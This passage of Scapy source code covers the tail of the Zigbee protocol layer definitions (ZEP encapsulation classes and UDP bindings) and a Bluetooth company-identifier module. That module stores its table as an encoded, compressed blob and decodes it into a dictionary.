identifier of the group lambda pkt: pkt.getfieldval("delivery_mode") == 0b11 ), # Cluster identifier XLEShortField("cluster", 0x0000), # Profile identifier EnumField("profile", 0, _aps_profile_identifiers, fmt="= 4: v = orb(_pkt[2]) if v == 1: return ZEP1 elif v == 2: return ZEP2 return cls def guess_payload_class(self, payload): if self.lqi_mode: return Dot15d4 else: return Dot15d4FCS class ZEP1(ZEP2): name = "Zigbee Encapsulation Protocol (V1)" fields_desc = [ StrFixedLenField("preamble", "EX", length=2), ByteField("ver", 0), ByteField("channel", 0), ShortField("device", 0), ByteField("lqi_mode", 0), ByteField("lqi_val", 0), BitField("res", 0, 56), # 7 bytes reserved field ByteField("len", 0), ] # Bindings # # TODO: find a way to chose between ZigbeeNWK and SixLoWPAN (cf. sixlowpan.py) # Currently: use conf.dot15d4_protocol value # bind_layers( Dot15d4Data, ZigbeeNWK) bind_layers(ZigbeeAppDataPayload, ZigbeeAppCommandPayload, frametype=1) bind_layers(Dot15d4Beacon, ZigBeeBeacon) bind_bottom_up(UDP, ZEP2, sport=17754) bind_bottom_up(UDP, ZEP2, sport=17754) bind_layers(UDP, ZEP2, sport=17754, dport=17754) ================================================ FILE: scapy/libs/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information """ Library bindings """ ================================================ FILE: scapy/libs/bluetoothids.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information """ # Bluetooth Core Company Identifiers # # This file was generated. Its canonical location is # https://bitbucket.org/bluetooth-SIG/public/src/main/assigned_numbers/company_identifiers/company_identifiers.yaml """ # To quote Python's get-pip: # Hi There! # # You may be wondering what this giant blob of binary data here is, you might # even be worried that we're up to something nefarious (good for you for being # paranoid!). This is a base85 encoding of a zip file, this zip file contains # a copy of the Bluetooth SID listing of all company identifiers. # This file is automatically generated using # scapy/tools/generate_bluetooth.py import gzip import json from base64 import b85decode def _d(x: str) -> str: return { int(x): y for x, y in json.loads(gzip.decompress( b85decode(x.replace("\n", "")) ).decode()).items() } DATA = _d(""" ABzY8*hqM20{@J?TX)+y(k}d0xaMMZvfkLQj+V3UD2bLB9jJ(s9cRrAEx{IA6shLHvGRRCepjIiBp}) 8Su@?~@FcPT6zZwNQ~%$;+PAlzfBj$QU-vSXY2u8sv^+X~vbp}(7Y9$a@uU~a!b@IcB19&W7iT&h@aY zwo_N!#w{(VCx!E5?o)==XOXS{hM|@QiuUci|cbYka^l*%llapU(*Qx%M243JEj?SGd96!$@5j)e>kk 0nL;@MH0K1Fa;CVOWn^CFW^Wr43eNV6k9r+1524n$I9=|N<|8K?0UU$}pLuP^E0C86Bx$_Vb=Maj!9g )8PFO+?|W@YT~eeUT!ECtrV=7F&JijS@wapPZS9@)9187dXZhUA*G4{2Lz~ii6yw$+p}S@YSDw$mk%F &lk5S;RkasT(|?zS$Tu;JeUR}-wT~ji`C<2Lkwytmg#;ELO94mZ27nvgT9b|;g^O-H9~_-L`pi<2c0f {T8+va2K6Z|oKH#=zjtZ*S>1DSwHl(wG)|;3J#N&{{PbrtZ#i@4b7ygX6&3JQ; 4(7F`BM|OH@*Dnf!tyAxFfEhqxg6lb_z pDyaw1MK%v|$PB<^78&2d!D<#D5=?heO8=Pr{X*~TYllU~=)RniS!VannJO*1tdd``)7kqPfLDU6@&D rw$jBHu+v5Rc1;Nn#+U%<+d`3^{d`oQ6Uiod~`WC4V#?ccX>z6NNEMNzCapJfRSAEMG*j5imR-$)>BM xryYfFn?4@%pZF0Y8lM^iJpz{XY?dNQ=Ie~=j)XqXOT#f*zsbqhsBB70p|u^p=3FhMYP%B?An&Nyg_o _-=#dlvMHSK1X|^Az9hR!$o)*d?22E}32sf&SDN?rCl==SeF{sO<7dO!RYNlMgSj(W2I~b#c|PEC9W^ ZOeBcbm{@it@{>)!_yed0taHit-DG|;(bPYju)aaL-h (#>ojM5cHMI)pbgipL58=x7Yo+n1F0Zdv12ru{fX*~}%AHT+$!Dh;-HsZUAeK*AR8N|Y8jF$Vj6HX{8 V}s%nN~97qNG1|7mKOe51lZ$TRq_Ai=}_>uDmljDFLsRpyif>z&_Vj0v?MfE_NGS?8bmu(rVw5L}Rf< ar+6(6a2g)H&;cQw8zq)!RywutgS@-ElN^&=(9Pa+e)nc>DpT?gL|0S%b&GC+DeL{NOBQn&H`q4CBe3 mpqqsA(LYx3EhW}z=y+3auv+ ?qiwl%ELvQB8=z4q^Ea^e`{us8DU}vy;W5*5on3C$iUBFD7JN>CYpYRDK)Q9p-g64tE)DKqG@ADNb+2 ~i4ZBa99lxEoQStZ=>ot9e48E($?F5Xh|MY97I+1k#BV7#&O@5*bK_&0WO}49dxzpxZs3cnDb%D1>HqMi&dP@u 9$q^htkoHaIT)hcN$dg3v`I=~iur$YDVnog?<;|)7%0`#W#Y}F0p^h|{W} {;*yPxUb@=t56(YE&5e)=c}Xkotmki6+P$W%_Z64Y(2l^Sd(h-@dKEi4sfBA*!y4JF!Puyp6n>~3^jO |9NnCBp%#Wsu8y2F6NgSY2#%^}Z@`elH~~r96iL$K7=(a`}=NQ@!_933Dl8neS{<*pyB0tCH;~6&a}E h)q3fZTG$^(N4k42E}QrD_Q?o$J)&LUI^RAqosw+?X34ziTK{1KTe&QyIMIjZ|K{*aqlbbUh*kV?GIB @9*w+#;{q^{o5(t=#5*e40LBReqcD@3EESbjvQ3ZPtrGlPEl=Z7x3|``nR|f;yWNNLrgy6({!>AaaEF Klr|1&omMgQh){3TGWZbWYVlLj6;_%w6R9d)4xXuL&B6^AtLC7TfeDQ^3?79R04tAiKyM%@8^kMu!W5fOoI_ugV!ya1$Sq_sYhIfC?z $Vz%bBj>k7>qv0L!@^+)i!jG@ZBIw^Lz_yi4Q6%J-`fu`S)hL93i$4z+ha6EBG^xUY?@zpm&HK;j^K@ QE@jZ3;>LTJ)C@@65=6_Lkdq 5|!nf!cB^QdVN9YSJuRE|FhVIHWhLRB2&vFCvpeUr{zJc!IQ!O&_+##&4pe%5xoqh%&NME4D^Z+IstP NX&gud<~L_;TK*U@o8U+d&Kjq#fYU@OGJagQONR)Xq}2QfS}Ki3XmT!+e+5Xp-HCX^N|R+pP*k1!f+U !ut1MQcIVf+Q3cuDr)3p!+l{jHO9fY>WU+!Q9`5e$}{Z56VP}iyu}J9Kw8kL2m`vpvlW$QDSNtTccN4 YqS3Wv(tPD^4`owXhPM)N3aR~B})Oo&iJK0r-yRKc&&ODLRP`l56$hum^uW jzWWm}9p>H-;{EVCyDMC)aVzf!4C(r_swFwZ00+GIo_zk^jTN! =u(X^Vubio~`nrj4>++>@HUpegLZU#!k(0~M(7Eu!AYHKjWWddbmxCuFhn<#n8QYTpRQ8MVoRzBhEF_ $l)rNJ&s!30&iPjyC#aG&l|I45KC4DIN9Snyv!$r!&*Tepm&M7~+SLXwKmrhel?N+dJ?{%mNqDkD5Jg 1Pj&($a)<{4E+bV5Ha2Cxo+%WCH5|CT%qb&6glpV9KEMH`D=g!IP>nL>wyD~OlNYqy!3=*X@W7cV7F TnWAdmkY)Wr`Iwi~~$WE}onUID^$);#wJ_P78nl`k3%lGxZM3FLeO$-d+zz6P2ITLVa5I^Xz(2m(Dz) J(P52=CzLRK^jTH-vTWVb;CC+GhRLU>opQl!`C-j`A1-b=_2n^rP)`GktC%#ed6K}l8SCMO;E;bkyPmrJO4HmB>bdjogYfL}T{n8GxFNJNE+wuxN19G=9fh*Snt;&M1(+}m1`|W91c64u#7Dql {6dp(wb;ZMmwJF1g<%9keVo5E@9f1HYUa~~eU{}BUNz!Fv~!Q$1uDECn1<$f6Wp0zudc_})_So%jPQ? pkOvrko42e5)hU|- j})C~ikxRBPQB%A|Sa8jI%(r73A x-yy$xPitkZ4-IDysxO1>6XHMuZC*I2 E`_;&e(;Rjx&^@q*Q`;eULr^OW*7Msh{Rs0w6aja0X?pSsU9XnivLv7BK-6qbGVwl)y9t#c)EAz{on^5Aw?0zhbSw|=j +q~&{j`5A0tobFZo<3pTDv#jZK}tVKvl`P~r;i{Chjta6`}ta97AKptNwjL}VZ-wj_k1MhG#5ptg;J1 e0Kwc?2U;z)QyYW*5PGJ^!a{G@dt^1M^J$0t28xjkZ@BO@}Azr?6+g%q8e^6=zi*fJ$D3qQbemSUmXQ *f>Fg6xl(7eDn0V_=U?WuQrD`=3SmJ)c}l@4Qhb-Js<9vzB6`y`|h*~3$hS75EX+dz1j&tKo{$afEFN =L-c0v6V+@Y;1$dtcu5e@n)_fTf|WQPdUN>MgYo#2m=fVmLGf3Oj62&CP`@_4N0xiNbQk}aZQvs;>|^o Bs#T)Y*^J!G9~QJi@EEdY6h3(p%mGjC-?YW0N_9Iaf+a?glqC|>}h#(!AW1l$0RZe{NLl<^jKiptY?L $GZYI{WCaXx{@M;(UrZ1Rv`V{Aa$FT&4ahr~*GX1j_D$QNVvEq<@EI=gOO4p!b_!DNA0HwzedI)(6p( J;6tnJim6Et*h>ByXSmgdwp+U7%NS7G#^bb@(ls6Dh@F8M?NK7n4#|*jyy?N_0yF10}UwjMomx*$1Ht K4Lv{@483GmKhw9fotd*NZU}Bw1EvfdSS^^Qq8F|`sR@a>TdyjP{|4bNOSzPW6R#+Q=~Ld=b53$ZvhT3tdPM(`$On@f@pw%x1c3Vvz;+LXyJRYlNdYr`15;qm~e)B5bjOs>Q 6WI=$GR%FD(>rT*6*k5dXGx2H{|JiPX-Y+O_oF&s~%%N7+B#r$%sA7MQ(aTjO0qeM5l>FLzP75rySj? -J-+dfo&_88L0WOLPhF?S@%;wDDLyoCN+Jz=+5&-SCJq)G?@fNe~2-chg7M*6Pf!j|EIn@F7h$u-|?{ NDQkI-5jRc?GhXe5#@wyYm$Dlw83Y4b#TBedKQ4yz&t(}FUp1r7#y@I)T^D)A^?ezHxED!k6l1-MjWLvp2cX*Nf)Ftc|ltsRi$>|S4nl2$aFpNeVt= 2|fw`+Ubre(5`A7a!lfx6nznTM50?}cafW0$bqD*c_-$$4GEbMAUI4whH$6z0MgCyRc+rhkDg?HpkRf Jx{?uNVyiJ22nNougcyhx8Rs7t+~h(O>e5v%OAr_H~!g;KUud&YkC<%Zbq74AX=~q!gYxKRF|DF!rX? cd~uEgb+trlx%kLc&^|+RXG=SfUip+66~g=_;7v^a)gmzgCO*NXZXgtgdqE#w}7=8@-a0Ali+)RnV#o )GTpYBY92;Pxx;iYa^Lwn(%*0novU66y2>zVyMzb>jHwExN9_qkxX=T{$WkQuH(B@BPB?RyD_e84Ig# t$y@Qv&(w5zUT?ktSHWwJc*_b+4Co2}1?Fk0Gt3R28m8m_jga$`muoxRw24O-M_E)q)VPkkZ^3eoqqu^hzWV{|&@AzuN|12;FuQt)iZhtdWef-l)P2`d?-C%KxuB<6Tm%X4L~Ml%s3hXjZ{BTksOe4SRG;yOHzkj eNY7lY9Qp1tM5JF)iS5-WFixxzVO4tF36mH80IB&_iYcdA0xLK#qRSM!E@Mac&Ks>UwbJ{(_7|8=XKE AzlEc5sV`V=RY`lY|zK>-U0My1lU(>S`|I!1K1kH!q-n7APmtf<=PG<2jO=CW&qzq%^@zZVZC^~_~wI OPPhko)Z^C%WDmEH?}cL@xR#apBz&LwDvCEzuc@5CB{z~RbYt!IwA9{PbL5+z!UeiZ4E50PtrHQ$>&3N8H+2aAd4R}@l#kd3vDf#e7?}KUB6SG$!Plu`AEkjRozWrC=gRC?6l0Qxo?aaSdGqu& eHPilDJUkkF>meE2GQnXnsf-%sZ?I~!X4IONVjlSCETC$!6v`VONPG3O7tBtSuqlhSVu_}22{I7yDA1%)gp|b(TW6j5r1L6Aa+WD65l3az?>kX|#K&%R+j1l6Omp{U5sz Z=#?gf)zjL!dX<;~pCOunvTksX3s<1!(Cx{fX4+wqLhvgmQtGJ|z`s->?{)r-iK)7l7mb$V=;!d5VGA KsZp1fTi>#P{X|un?d4I5{6(cL}E@CLO>Xb1*`3!Be5L 4`{oBQ5}%m!O(6Uf=8kEaOJI+!ElLDifRwlMs9~-(n{n->V)3;{@Nk5cvMRK3AZ_Ie2u0Z^zLXsFHQkK<)3*iF;t3x;nFvfNk{jLh%Is};5dkV-S6 G|)9V@@FH-oN)%;n6pD;m*yuO?U}RX5G>{ed~7N6 UGx+S=ML;~XBNH4jrIG4-skI?XV$xR2;RuFfN_y&P6nv8Dhb?pQTA-RdZ>iUTx^7LCU78&%w^9=2V}Y fs6fX!AQq=NrsOKeVpyb`eP!0o?-x!#m~t9$hhWY$P2md63b$S7d=1I*aqiB7A5QqcEW`GVSzdy;&n% tl=zv!QYj_czRNh=&C18o7&2H}aML3g4S{{lHqZ)tdxJy{SXZ~2zPuwA(6BbbcgGy7lQbvS!`coJ7)j oX2+*>^a%L%OJC8enVQ1{(;tD-uDiN@#*k()hkQ&mIX~hArYadK4huo;^CCbG2e)oXu GbI*Mg!QEq-KF9dXAB0Y_$YT_V+I{M1dkSQVPq(CLPanKUtps&Gzx*Ch0LvVC398~Q1R$)D!lR6ZiIVC|nv^5-oM9>}8hup-n8F Y8B}e;LZdVU?8y5Jh&fUReqIK7A 2!UaO-@H?#>hP1jhp>YB-qZ30eD82_9hVCcJ;frQQi{c`ot5RjT;3Q~wZ0!nwb_N_LdD%kDw;= P&DCR9bwMym`=7wa@7FrPM4m~MQCs$4{7nX_#IQ$PH%8>mffI`v21e6%_bidCwhO(<%e$XCpB-9}qyk )roGPmcUg%+P)~aAQ%aJoOZCs`Cz=XEbBJm rfKwckj`oci|Qy!MB-ICQY{L?QWQ-xumsGW=uiXRHo+=)`-)qoRXOJ#kFnk!%p2I(l*UxTWQ-Fbt!K!BC__U_w|2Mz%W|cm7#3{Vc{v+r$=cDpTO0f7 p@eyLx2?r3I$kX6i2n SQ6Ir6AYlCj|e%rdw5<5mSC)JXmE9^vWVV~qP7V=g~upkRn*bd9x$^#tF-MiIv49-CF}&2=grP7Y=t*Wvtp*oAOQ|a4s4^@8Om@^BZELL&mg?icQuUeR* X3z#F5!yyC5F3ebHCj-sy1d|k`-XYIPU8He`f>dTLe1kLB_e36M?3Q=Pf)oEf^xIcH9+tQWFX6*I8~{Z`S(OqzP>TMg1 Uj`caH(8uc@vvrMJIolQn&sQ{z>hXu6T%u%5#)s*4QhpEh^A{d2+u}A=ChK9*X=LFFi!Zm~YYiGV*`YQ9$pYSQFiHTB4UR4c4FyL5ZkVj}1>b{`)w-c)A-m^%hxo`vU*lyTy0pCacQR@o~51z*##DtRB%@+JK^`>#!a XyuNavA6b?)m}$1XtsI4Yz)iKW2zWJLhb>fgvG+9*CN55;Q9Fq3-pncN!39Wh*xUijYM|9iCInE7U7~ *B!9s-+?Bgr$J$#2f&gdSqpfop=Wl7&iWjiz`(XFT;vJHQ79pYgV95D|=9F!HwTYDw#6GU)*4}1Y+bz OFOD_Z)EVP5y#unK6%9+{n*=9Sl-i+cV#~efYdR?>#2B|{79NA{#t+ugj_k4@+&_fzOJ4C&vYx`SVxF yj;>_ip2fOWTqMlP7``Hqw%pP@}Y`pr&Pqri$)REyBicpNyN##JK6KPEW0n4Y3MLNu>Tojh_jOCoMq#A=6c#4>J8)@War#go(UEEQue{n LHQ#5JE+uM)Q;_c!I^?^SentEka2-8pD^EvZYxFxjYaS{M*Ulkjo!tN0*5jHs#?-WwgBP)MBkGtgTn* FzboqRp@!<4qRm1s8$f+tYrk_tXxiD^QZWKK1*r?ek?ymLeYc`VldGPah}v+N>IuAuLuX*Jj|JX{#*f i@(R4~$ZmCX{Iv?U^YL4*qdJQ7DwI}->uAAnna_iJK1i;}j!&X~j{vNHnn)%ND-->?a=!d< %mZJQD;f?#8Bxn8Z$aG>oJY<2A1okf~s{&e!EdB8VvWKg`GWemML6S)cuj23IX6EwR=t{SC<;X$_EYc udwQHc6zj~5d9E5MA(N}1yiCL%XyDuJ>Y`egb(CUsRaaO#i7D{`qDmII-*nfrb1t&BNC0PP28elREMi )q|T7=o=tCf=@+mMM1dDo!*( px|EEZRq->ecnOcqZ?f?!F-64Xd4+5fuL DGdc&j$}2$DVj_*}( KP70Q#*XvBDCg?e*XO71dCN*YMYNd;w=tQi8nBcEatx!VYLSlqhsnH6C7Iv)xJw)?f`5Bco2&@&#IF@ NN#8mhI0?fCu2@>0&X++2NG|+2me|PE_5k2yKQRi^?bg?Nu^rPHaHt714I2X$+1P?47SCgj}FVLbJ)V ^PfY@2%M^=Ja5B>dW*F&B0%iRmn4x|P?i^(@hI~>8sQ9=napd!59kv|bGs&sS!}?K*uqZb(Wv9d+B&qWC}R Up<}a;{9o8Y-vrVhKKhEmIJW8S4&uLidl3SOkpL=y_HUXZgQd3)L;GNU_St<1A5f*YvXsw-U1E%*JZ( Vlb{qPz)qA25MD2@r~L9vDu{J&D(7Mhz`w?+O+ru)?j%6N;ky387P)W%MDCGrQ4>h9es2yci4?0d`Mcp%MDZJ>~kZnp~+l=bI%(&x=urTS(}8dmOCL1wE5~y$5dJbs(#9(P^?Jx>>xZf miO{^g^H{jyG*H;T1Uxc9S%G@F4iPaq+o<=O;W-`{vlQQ^6!U`nz{fg%Jy@az&Zd}fz!z75z!uUI3tS?v5x)Q|E^9MHE6g=2(qw<%Gm~^)R)17A3!svFN`mg=%&*YYP~P0AYTCSy|$K;C*rW5n|&PzK $HPb1>?WjlB|oo9k6G*z^$IkoMO)gOCrHVwjEwOREG69{morxCjMR5cqN%BK$KBmVVzga8a|(YnOhuq VhL~f-q0tn@)#b=#S>+DN=&jLA_X|_X+L{;waDMvqYNC6H+g+44A@V*|+^KT9k}?;7yV=m!>&GfM?~8 6p@1sUYi7Z<_J=Lo0^heiL>-nR?GJi3?}orRF9kH2f0boEok|BK0&K=C$dAjPm?RMur3VzCPAD2v`IL|dlM*PUVBCkT$5l8*3mhSGB4AoDE+T0ikbv@CSaBZ0esGakCJnA1K29n&fkV~+-(`F!siZYv_ut_N9r`VStx?N#rnD0#(XCz-D%Ck6g-q!PrsRRL^=X#Jv1hdyOZ8f=X)VHnWC#AVp1u*zOln10L$)8If-R76KmbJgs%sFwLn8U$h7EdH>*xj|S4=EgD @&-f5?NF0)MrW&HuOSQqE<#FP9XJy0<0w^Q#8lirz_xc7Qkvmv8MUh&+-PClhU;#$2xW3sZV*e&pVx< hc8-y=LX@gN# bybtf7{r9Z73hR2d%HmhV)os&hns-I5*I<8s>M51gMb3sTG7>j5n`3m(_6%f(vde(;BoiZaO+3^%`y9-I9~Q`dmQe@)Y qU>}OFCpt&e9?L74OoRZlK!rv8G^R9kh!v0;S5PNex2oE5Oj=_c9V7@%e!SDN^F3~+4>b xJK>;%*3_H@y?<9|1vO+h_>7&swpQ>*hdtOj!>DCUU*X^iXfBUpe-85vzDov51PoRM>!4S_ezq&TOdgXAK F*ywb0-!8CWT_#=vxR9W)lRT~2gn&07r|aYjwhV7vfxxznhb9Qhp81f}wKd60EX%_`c^woHS7!vo 9>@6k~?m5U`-t9`0?gKdVB24RUuK(zdKMh;o}9NP>CjW!qTZ@KWw*kZUcXzVVp`pdwd8Y-ROf*WO9VK i}Qv~`a{*z)^PE=@r(?;RRbfPLq-4kx&9@6Yd$@>SPAxbvYdw7{UqM?^r4v&Kw*@>eSVXjC@{WvHffP 9FqP>|}YM{1{`?C%BPpw@MfMM%r4donoWKaVh1Hcfo8q6=XtcIT7mcho1gB6{8|OpYy2L{@?LKS}#iT 6Xv^-UDhD5F`eR#Isv!($yU{IB)4NZjh0Rs+NVy=ESU{vJ2=IllbxK^Fad}m=mX_mH%glt1R=nBhBrs w)<-LqUbvla}3l`&@tMtDi_K#c2rn0qOKHbEkbffSXeuR&m8>AAy4EDCeN$zz4+8iW$Y{tP?U`ObuWR1I#Qk#bsE?1J6W`p *5I%K>4%I_ego(w~ x`N|MYIlEuSzc{u5gP|^wr#fe%%bE?CN`J#Ia?cz2HZ(dYlHrJ^EHTx#9yrf(Bh-V;2ht=B^*aTL`)p 3Kk=5qR&)UISg{>AM?v&xvwJSh!#(ZwLalw?aKmyt!^Nbzl4pr@F)vwU{Qz5cF+5_E(h#A}=X^J~fU; <&!2`_mkyou6IHQD!`3^sLzI=jRylRFB7m)svd5#5pmj%#p1)SscrJhx?Q-8lkb%pPqDVo*rDNcM |UPkHTz_a_vn0G 5$PWZCJnd|KAT?n&`gxW37Q%vA=kN4}dLRii3>2CKwV6XeH2dL> fTur*B@g-Qx|e?*+{-bq^``*Wy-eba3~9E8Kuj&^p|VewwbA(n62Q4H}&s4K19(Wm`PSj44i0jn)e31 +5xXB!X9@RKmm0z#gZQ5mWK9Oy=0(BI2_jc%H3bVs>f$#)x+90CC~)G&Ii3x;96R>QL;a!s)*`>gc`1 )(oNr+4jmnCs1`M$4p+WmYQQHZ(ENNp>DxME<4XB0tBr>c$O=9S7Q+MkE$i{%9IfxH?%Lcp7x0E#ceJ !XJ6uF=P9gS|!>9F?KtwF#Cs{bba8?-#gd4sMYbuumnD1r|LACZ;y)*jJSZ+VotOO^piB~~gGR71Uu#+{eJ4~iA?a)Vi{aj KdEAVUn;#n09XX|sj4b~IetWfLvebO`kx$?z qZxc(JJfX2QC9dM4FVRNtxRN~nWJMe;DgNiML;T7CPD<6z&=L(~@xCcJv7ZgHpA?XBX4xw W~%>`oSn+Up{@r*+G01G=td;)2Qvje7Ena&kRkZV3_n^!-J(G;f({dp&pV6tCN3t=(@qvkPlT&eGK29 3>Hf{qtL1OCyj0r^q=wSX6ga!*R>CGw2Z>M{#Wan68J-`{~nlU;gI9P2!3Tt8#5KX${U(RV)ZMNwwO% W#a7pX&n99iwlBixPXZ+f-^jK%g6>-+vO^~B`DLE+16QtcFnCjyLMf1onU8Nqa>5urP;?s(r^{0Zw&m Ey8>-+j~oYcm7u^Ekf$N^`L8-E0ub}fkSHOSF?KABb0)(zm)NZ)07$mW-Kp3e%vUA60$3=(3a^ZM;v& mPq%Y{P3u3zRXC7z=Equl*>Gnk!T9knhbTN=?!|?}oiAWk-ho?FCsfa)UB(-_ %Yof(-Y|Y|8L3RctZBP4K3P^1s04cM}gGmK=cV|-``>DQu|o!?&u)WJ}Hx=p0^6aEm`(jgrxDsu5n+9v HS0S`$l@&jihT*WDBa2zQ{z8l-&Edi0JD(i(K+tGYJF!3W8uPDPUM+ZUSJaw+<<9Z6d! 6bBS^mR)>W#|pu)p&|Iqy&a;38(;Y01&_SmWC;G+h(pQEX`Wpfr7hi&(Z`ut)Vybf{*Asn;ywfot SHVZf1`HHCJ|80UBrRWd=&3ABSY0i9h9WAl=%F&L_0P1}J%E0_SHl6PX~^Ib3Ljm27|5!HMsP&4fa9o H+=}&2aEt>?=0IlySW}izNQ-xj9;0Fx8*Oc@?< 3seqa|s)u}O!6GIqj3vY?y1=Z5~!3(gY#>xs)u&v7I(<@347(yd39P|4jo^jt;oW$i+QNj&)O=#o02Q jdgBRNsb+ngTe>;>VIR2`KvI?X?g7QRxw=xQF)u^j9A0vG09l9q^ VWQD)vj^K*?YB;4UW65I`ytrQpyiXN-r5Zpk94K6`py(I0-sWm}Qe2z+Mr~dMcvJ6g9S~#+^elY@)aH 7eTaL4!$T}t6PW`}$;evcqWnUuzda%&!U>Q{}J`9!a7Nibt=(Bn7>*nCR>qS(m^P>->$d(7^P^M9y%r m2GAKfLEHxANPFEIn1t(#}y$kMPD2_MkY*ogtCW=EQZWpVT7$Hh5BW#?5FB2)E=(^SmarfTIl^d45G2 2U?0fZi_0g&0uU9H$ATFNVkGGdJK{FY*&IS4}hhvt(o8J-Dvvu-_9h8w*p&d;UoTCgYzC^km(idW-!G gQ3&&A2&kQq9N9S9)@3yyp`tdSdW0&t8fg(FMR};zL2feu!qqg*!u#6AbY6uF7ttDx$|65zRJyzp<+C s#bB{B%+>xSboR5Y8X)FhZsm^;hI^}tb;1pl&MQ6&xNy_VR2mU2m?h)*m1bue}d!xG^dCu%^bbaRD?A >rNXI>&h`x|+w&yz8Y{jWz@WL~~vcOpJSEV{XZj`CG*OW4#6UmWh)Ufs~qki}Ui0Wc#c@9z(MJq^Myv 5k=|SL+4>Dia}&GC5yP1XQa12OE5S;9l)@nL95_L|&&<>*w@zYoPR4NCUC=7^eh7e?8+PMC=S-B@%Oq beT{C^#_Iv&bNZ%BSs7Jd)jt)3NZKI%H$9FgrE#UWb_7FnPqU2(xlz>)ENW3oVoLPwbr}L5%si3`VWI M}7=-M)wjAQ;&mfcOYUqZxvM2bWSS9+>?wbiGX~$Vj`LC7l`#O@B(W+ jDJ0icVq8A5NSh3S=HO7z;hWUZ6CDS|FBkbbEU?>;ww(*2Z$TtWpA$dA|gb90uW&HWvTRKa3K03=uh6 `>PY;1O`3kPJc&D|I7OHsqbYQxtK!yY$4RR%7bJEmAU=;Gu5YW2cRPs8_1h2T891(6bfOIB1B9Ir~kI 6*jb#uHnG5VUcVU5UAG*a%*=tLBpp-FT!#p8NOn!dpFtH?ZQ1_+-8n;hLWU#+xc-O!s?_Adc#CjUcCb *($VxNyr=tk@Yie%7%56e?+Om*LN6}sHWJJZNA4#&9EpY9gbG gZhEbF_gE^srPu)~S#be~4K#%l0WyNq|mvgnn7Ez|T{n;-;eCqCyyL71>9D$r}PL?hho*wtAMqsaqzbt=Xz=OW}s_3-KOP`-OA;ebZy^nZYtp) $V#J-1MptGIoEczL&7dxAKs_6D_={Qo68K)0QcrmH-BY|IY1yGwcJ0#i{yt8%&*uzE|6`enSvsvR+Tz `M1YlqI}1OLbxH+u}JrrJkN)yOfWtjj-Wq+sV^M)rxx3+V%IB>NOqITk{j!_^sL3+32vgPGsAWbl~)o%zdAf9|louQ1Lz}Voa$fU=D+R%^6)OmQP&2}w!t~19DD13m|B=U2<=i|L$ =akpgIae>dc$v&Sybzr`hf_>qPx T4Hd9w*rkeMN@D=d$v-l9!PVRq>MoY{)t~YTnHn!hh6$LJrw1%-;%SC?D0P2^TEB4mR&<2vmA#nm!5a b<_i9Cpx_zT@0WId`fN-QqCj=*(Iv?nPD3dGNT|RFmxQ+)`Rch-;8wcTxcIeme%8cUjMeL<{mD|Wf{5 LI56V5j~gLeB}v+ai4$)t4Rr0U|0v($8B;r+NAS%MoQ5A*k_sffPGb{0Is1dR5eyo*0IgEGd6$+*O`s #i(S8~Q;qDql~GXGnbD^G?n6C8|NIvG56oi~w%MBK=VK9BY9MnKC;JN5~CRBv04g${$QT;&#zH1!0hW T0TEVh$f;Z=M%St`D}e5VUAY!wg(2U6C^4~X^5RuyhanWMVAw2Fbxbp!s7OHX)yiJM)V_DIQ~8Ft^_?EqeHZdF6Bn(;{hEun>a1EANlic8Vwz}Mz JuWa#=nwkr(6ad0*dyPT$V#9c?R&L6Lx-;OTXg!801u^rNzRKy$#fqn#ix&%vx;vQ36 ^W0?8t3OM7Yo6qH?M&$sNO2eb)r1ewI-V~)7Z#EZP;?24c!wwKjAxm-UBV(NVrKVAgj2NFL~k&=j49a VmM*Z*XA;wxh}YfTyz1xE)WbNxVW#pq%3JUOcHa9TrlD4Yz*$=-BZs$3SOg6JAD)?&*(JyUKi@eh3W8 ^$8yr^(qD$Cgc*;M{sqAv}1W{gG=6sBH=XKv*t}mxFVUDT)!=Ju$lAO?KOdI6+*|w&C0t_8(QnTo#+p }Yuk8&$jdi5V-_|@oe{KUsRdo#bJOF-ow-^aYY9&Zkq3jUP4(qCd%Za&05yv?q7rL+dq-Cq9~VG<0Te5jK+zLA2Zv=wiBj97C5f3-f>LX1I _Tldm@wkBKGuDp4S6mS0fH2rWjEz9fR+DrlLGV_%;4?$-S&Sl+Y7I77Ea5v{3$oeY@i2xR^)500MoU2 7HVL#$k<%h{$T{}bTCyXWii!IL6hcy&k!YgjM6_}ZCO=m(b!K~tTH@m8yNtZy3;;bA+2Gr|zI3g+}mf 9O+ZX-TVE{1P2S2rbqV#$28#>EVrd Vw=`!FnQUXHh+ovz@VHUmcNMycUM3*d=r_iJr=QC-?Ft!e*h)*qwVzPA%+eM1o7Yxb*LI36`jN1S8F> fH|-hVYNsJf84Ej>Sb`Oqa>8qL-`r)e5^_S9?rL*CB239)8}z)NB $LKp;kaFG(&x9QNj;-Y~XTv$1-&U*(}!YAC}2J@C7Y{DEAopan*d6vD@w i+{2R5d(xvKEcN~&IYGEPc6joPb-5BHJ*7pV4^i2JyW}n-4s7qM8Eo^O6AYOS#2NTw_vh4w{| aHVdi3!uKn!>3tsHj_GZvdxFA;I@L&>3!PetN_;DUggKb#BSmwi7p#6bWAOHYfjz}9E7KE;&32Sq2QQ n^(jkD}?QR;`}%7!}9l3LYD-e(z7ch5L9`A;FWC)4X<=L5Q`UhKe9;f@Xk9oY*5to-sEFsC+A92{R3@ IvArw_@p1B*!f7!`O(P@5)n8)yGBFH*~orQ*y0(oz*8Op9s0En`in>k+P4h?giY^N;rK4i~tu(V!R^q%qEOX~jfx%?P4re}_QG0^@d5m7;RY^)oBW`p0{-DLWd2 LkMK}xET9>C+&WzL!p%3}2Ae2g&;0&~Puocz(%s2`8D~@AOn|x2G y+p~DsIp8pN~K~+iNy*Ks;Q_n)wog1#QX1AV~?9hNwJ6z@BtA3Cfch|FVP(3!R(;Yjy`eV5EkwAl23B eC!SATfh#xr`I-HOdgzvpXhY4rWXY`4`Bx!y|{?H-(F-cF+JJre^PPi(-+z-y8LLI^#k CTbxF3ek$M7KgJ0&=6}a;5S+Rk`{Wc7g{0O|fdzaK7@px0;s2YWfW)lbv1p5QK !+f+}yIt)$$GRv!M(%)X=iiQZ?c9N}Yrb)txm=U|F2%fJY&LMEYL%-^utR|3e${DNMtFy-%%2dCW5Pa t48}=}dublZ7u_k{$S+UR*iv{L1i@rn*o<5~cREZ)hP2R&$V|rVFr#k82LqaVDL|F-Sz4^ad(ZpHM`+ 